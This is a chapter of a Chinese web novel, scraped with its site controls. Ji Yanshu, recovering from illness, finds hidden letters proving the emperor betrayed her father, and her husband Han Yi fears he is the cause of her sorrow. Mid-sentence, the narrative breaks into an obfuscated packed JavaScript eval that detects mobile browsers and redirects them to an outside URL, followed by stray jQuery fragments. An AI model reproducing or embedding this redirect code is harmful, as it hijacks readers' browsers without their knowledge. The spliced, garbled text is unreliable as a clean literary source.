默认冷灰
24号文字
方正启体

27. 第二十七章 南疆

作者:苏误本书字数:K更新时间:
    季砚书第二天醒过来时,感觉有力气不少,勉强将自己撑起来,就看见陈清坐在自己对面的桌子上,正在翻看一本医书。


    “难为你一个瘸子千里迢迢从南疆跑来。”季砚书嗓子哑的厉害,说出口的话像是生锈的铁片,她也不在意,“不过我还是劝你,最近京城里头不太平,还是早走为妙。”


    陈清将手里的书放好,也没管季砚书这夹枪带棒的话,依旧是用他那特有的慢吞吞语调说:“在下千里迢迢从南疆跑来,殿下也没些好茶招待,就要赶人了么?”


    季砚书翻了个大白眼,一旁的侍书闻言忙走上前来倒茶。


    她最近倒是本分了,知道这次惹了季砚书,只是默不作声退到一边。季砚书垂着眼,半晌出声:“你怎么知道我出事了?”


    陈清喝着香茶,闻言轻轻笑了笑:“殿下这些年的动向,我怕是想不知道也难。但若说能“及时”赶到,那还要多亏了殿下找的好夫婿——嗯,好香的茶。”


    季砚书眼角抽了抽,知道这孙子绝对是故意的,但好歹人家对她是救命之恩,季砚书勉强稳住了脾气,换了个问题:“赫连二在祈南边境?”


    陈清慢条斯理地回:“托殿下的福,当年一举打通祈南边境,这些年商路越开越大,各方客商往来不断,倒成了一个颇具规模的小城,已经有不少人定居,二殿下就镇在那边。”


    “怪不得你动作这么快。”季砚书心下了然,也就没什么话说了,她翻过身,眼不见心不烦,“想留下就随你,但我现在自身难保,出了事别怪我没提醒你。”


    陈清微微一笑,起身对着准备给他带路的侍书微微一笑:“多年未见,殿下还是这么的……知恩图报。”


    下一秒,一个枕头甩在了陈清脚边:“滚蛋。”


    陈清也不恼,一边走一边还有心情开玩笑:“看殿下还有砸我的力气,应该恢复的还不错,侍书姑娘宽心吧。”


    等到人渐渐走远,季砚书紧绷的身体这才稍微放松下来,她藏在被褥之下握着长剑的手松了松,长长的吐出了一口浊气。


    别看她平常对谁都是一副掏心掏肺的样子,但只有身边的人才清楚,自从季砚书失去听力之后,其实不自觉对身边的人和物都防备了不少,病重的时候更甚。


    季砚书仰面躺在床上,挣扎了半晌,等到终于攒够一点起身的力气,这才缓缓坐起来,颤抖着伸出手,拿出一块深褐色的平安牌。


    那木牌用的不是什么名贵木材,上面什么都没写,看起来毫不起眼,季砚书握着它有一阵了,那木牌被她手上的汗水打湿,透出一抹诡异的暗红来。


    她愣愣地盯着木牌看了一会儿,那是钟老将军临终前塞到她手里的,季砚书当时神情恍惚,没来的及细看。


    她闭了闭眼,好似是精力不济一般,哆哆嗦嗦地将木牌拿在手里,她慢慢摸索着,在摸到木牌边缘缝隙的时候一顿。


    微微用力,那木牌就从中间一分为二,掉出来两个指节大小的方块,季砚书将它们拿起来细看,才发现那竟然是两张折叠起来的纸。


    那纸不知道是用什么做的,柔韧非常,季砚书小心翼翼拿起略大的一个,展开竟然有两个巴掌大小,薄如蝉翼,上面密密麻麻都是苍蝇腿大小的笔迹。


    她觉得头昏脑胀,呼吸急促,甩甩脑袋,这才定睛将另一张纸也打开,另一张纸小些,看到一半,她的手又开始不由自主地颤抖,胃里翻江倒海,好悬又要呕出一口血来。


    第一张赫然是天崩的图纸,那蝇头小楷也熟悉的很,是长宁侯——季砚书祖父的笔迹。


    相比第一张,写第二张纸的人明显更加慌张,字里行间透漏出一股紧张气息,寥寥几句写明了皇帝密旨的内容,言辞恳切地求季桓千万不要只身北上,不然必死无疑。


    她颤抖着身体,指甲深深掐进纸里。眼泪又一次掉下来,从一开始的抽泣变成嚎啕大哭。


    笔迹做不得假,图纸为证,那就证明,钟老临死前说的一番话,全部都是真的。


    她不敢想象老王爷是怎么在大军开拔的前一夜,看完这封信之后,又将它原封不动地放好,将身上的秘密,连带着京城的妻女,双双托付给远在北境的钟老将军,然后坦然赴死的。


    他不得不去,若他不去,西北十六座城池,上万条人命就要为他的一己之私买单,他没的选。


    泪水顺着脸颊滚落下来,落在那一枚青玉扳指上,季砚书的视线落在上面,这扳指她这几天一直带在身上,为的就是多在老皇帝面前晃两圈,提醒他老人家别忘了自己过命的兄弟,却没想到时过境迁,人家兴许还在看它她的笑话。


    那扳指被撂在妆奁里,是她爹临走时故意放下的吗?这么多年相携扶持走过来的路,竟然都抵不过一句“人心易变”,那个位置难道就有这样的魔力,让昔日刎颈之交的两人,陌路至此吗?


    他爹临走前的那一夜,坐在她房中,看着自己小女儿的睡颜,又想了些什么呢?


    她止住了哭声,起身四顾,突然有点迷茫。


    身边的长辈走的走死的死,谁都没来得及给当年尚且年幼的她留下只言片语,唯一一个伴她成人的长辈,临终之前给她的,也不是什么温馨的叮嘱,而是惨不忍睹的真相。


    季砚书自己一个人磕磕绊绊地摸索到这里,本以为那个不怎么靠谱但是分外宠爱她的皇伯父,应该算是她余生唯一的慰藉了。


    却没想到,就连这个慰藉都是假的。


    老王爷当年看罢了信,没有震惊,没有愤怒,只是将那一张薄薄的,又重逾千钧的纸折了起来,将全副身家交给了远在北境的钟老,最后留存于世的,只有回给钟远山信上的九个字,那字端方周正,和平常教季砚书练字时的别无二致。


    人心易变,待人如初难。


    她觉得力竭,又倒了回去。


    当夜季砚书就又烧起来,这下子来势汹汹,就连这两天好不容易吃进去的东西也吐了个干净,可把半夜过来添灯油的时春吓坏了,也顾不得什么礼节不礼节的,当即就把陈清叫醒,王府一时间又是灯火通明。


    这动静就连隔着一条街的相府都惊动了,韩弋没过一会儿就跑了过来,现在是彻底没人管他了。


    韩弋冲进门的时候,就看见陈清


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425048|169124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面色不善地整理药箱,里间的季砚书似是刚刚吐过,惨白着一张脸闭目养神,侍书从背后扶着她,像是刚刚哭过。


    陈清收拾好东西,对着众人微不可查地摇了摇头。


    钟沁直接急了:“你摇头是什么意思!你不是说吃东西就行吗,怎么还是这样?”


    “我说的不是吃东西,而是吃进东西。殿下本身并没有什么大病症,御医开的药也没有问题,我施针也只能保她神志清明。”


    陈清面无表情地说:“我本以为,只要她醒了,无论如何都有办法逼自己吃得下东西,却没想到她自己都不把这条命放在心里。”


    “你冲着我喊有什么意思,有这个力气,还不如好好劝劝她。”


    钟沁糊涂了:“你说什么?”


    陈清不再管他,自顾自地摸针就要再给季砚书放放血,边摆弄边回答:“我再给她施一次针——殿下这些年,心思郁结,忧思不解。我说了,她底子在这,若自己放的过自己,自然长命百岁。”


    外面这些人叽叽喳喳地说了半天,季砚书其实一点都没听见,专心致志聋自己的,绕不出这样的死结。


    但是韩弋却愣住了。


    在场只有他算是半个外人,他对季砚书前半生隐秘的身世全然不知,听了陈清这含含糊糊的半截话,理所当然的理解偏了,他以为季砚书这些年的心病,全然是自己一意孤行的求娶带来的。


    他不由自主紧了紧拳头,心脏钝痛起来。


    这些年的倾心相待,换来的却还是一句“忧思不解”。


    平心而论,无论这些年季砚书如何冷待他,只要是想想这个人就住在自己府上,是自己名正言顺的妻子,韩弋心里总是喜悦大于忧愁的。


    他年幼丧母,自小长在京城里,身边的柔情蜜意都暗中标注着价格,他吝啬拿出去,所以就分外珍视。全身上下大部分心力都放在季砚书身上,那也是乐在其中。


    却没想到人家根本就不屑一顾,甚至对她来说,是这样煎熬的囚笼。


    他定定地看着季砚书紧闭的双眼,也跟着闭了闭眼,随后仿佛下定了什么决心一样,走了进去。


    随着陈清的施针,季砚书又渐渐清醒了起来,她满脑子都是钟老临终前拽着她袖子说的一番话,头疼欲裂,没力气,也不想说话。


    陈清和她对视了半晌,冷着脸拂袖离去。就在钟沁刚想说什么劝劝时,韩弋先开口了,他吩咐侍书:“将陈神医送回院子里吧,还有时春,带着小将军出去。”


    钟沁刚要反对,就与一旁的韩弋对上视线,鬼使神差的,他将自己要说的话咽了下去,决定死马当活马医,夺门而出。


    屋子里就剩下他们两个人。


    季砚书闭着眼歪在一边,不知道是闭目养神还是又晕了过去。韩弋伸手将她扶了起来,拿起侍书放在一边的布巾,细细地给她擦额头。


    不知道季砚书是不是被他的动作弄烦了,勉强睁开眼睛,询问的看着他。


    韩弋欲言又止了好半晌,才小声地开口,手上给她擦汗的动作却不停:“你这些年心里不痛快,是不是……因为我?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)